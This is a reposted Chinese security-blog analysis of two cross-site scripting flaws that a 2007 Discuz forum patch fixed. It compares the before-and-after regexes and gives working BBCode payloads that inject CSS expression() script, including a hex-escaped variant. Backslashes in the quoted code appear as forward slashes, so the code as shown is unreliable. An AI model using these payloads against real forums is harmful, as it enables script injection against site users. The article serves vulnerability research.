Dz0724补丁补掉的一个xss+补掉的另外一个xss 's

admin 2017年4月11日12:07:31评论270 views字数 2069阅读6分53秒阅读模式
摘要

BY [email protected] 07/09/03对比补丁我们发现在/include/discuzcode.func.php里: 继续看下面的codz是杂处理这2个标签的:

BY [email protected] 07/09/03

对比补丁我们发现在/include/discuzcode.func.php里:

$discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则  "//[align=([^/[/<]+?)/]/i",         ---->补丁前 "//[float=([^/[/<]+?)/]/i" | V "//[align=(left|center|right)/]/i", ---->补丁后 [/align] "//[float=(left|right)/]/i" [/code]

继续看下面的codz是杂处理这2个标签的:

$discuzcodes['replacearray']['bbcode_regexp'] = array( //替换的正则  ........ "<p align=/"//1/">", "<br style=/"clear: both/"><span style=/"float: //1;/">"

替换的代码部分:

$message = str_replace($discuzcodes['searcharray']['bbcode_str'], $discuzcodes['replacearray']['bbcode_str'], preg_replace( ($parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'] ? array_merge($discuzcodes['searcharray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['searcharray']) : $discuzcodes['searcharray']['bbcode_regexp']), ($parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'] ? array_merge($discuzcodes['replacearray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['replacearray']) : $discuzcodes['replacearray']['bbcode_regexp']), $message));

经过测试发现$message在进入上面的str_replace以前已经被htmlspecialchars或者类似函数处理过。所以没有办法使用”和<>
这也就是意味着 “//[align=([^/[/<]+?)/]/i”–>”<p align=/”//1/”>” 是没办法用”<>等闭合,我们再看float标签:

"//[float=([^/[/<]+?)/]/i"-->"<br style=/"clear: both/"><span style=/"float: //1;/">"

替换后的//1进入<span style= ,哈哈 style=里利用expression()是不需要”闭和的 :)。

测试codz:

[float=expression(alert(123456789))]test[/float]

上面的只是弹个筐筐,鉴于很多牛牛都bs这个筐筐,的确有的情况有筐筐也是没办法利用的,因为alert(123456789)这个里面没有什么特别的敏感符号。我们看看”//[float=([^/[/<]+?)/]/i” 这个提取的正则没有什么特别的过滤只是$message在替换前就被htmlchars了
所以完全是可以利用的 如:

[float=/65/78/70/72/65/73/73/69/6f/6e/28/61/6c/65/72/74/28/31/32/33/34/35/36/37/38/39/29/29]test[/float]

不过还是弹筐筐 :)。

后话:Dz的discuzcode部分代码写的真的很烂[我是说代码风格],我估计DZ的负责代码安全的人员也看的郁闷啊,才导致漏洞没看出来?纯粹的YY ….. 。不过xss的黑盒测试比看代码要来的方便啊[看到这话,有人会很高兴的]。

Dz0724补丁补掉的另外一个xss

/include/common.inc.php里:

$boardurl = 'http://'.$_SERVER['HTTP_HOST'].preg_replace("///+(api|archiver|wap)?//*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/';  $boardurl = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("///+(api|archiver|wap)?//*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月11日12:07:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dz0724补丁补掉的一个xss+补掉的另外一个xss 'shttps://cn-sec.com/archives/46530.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息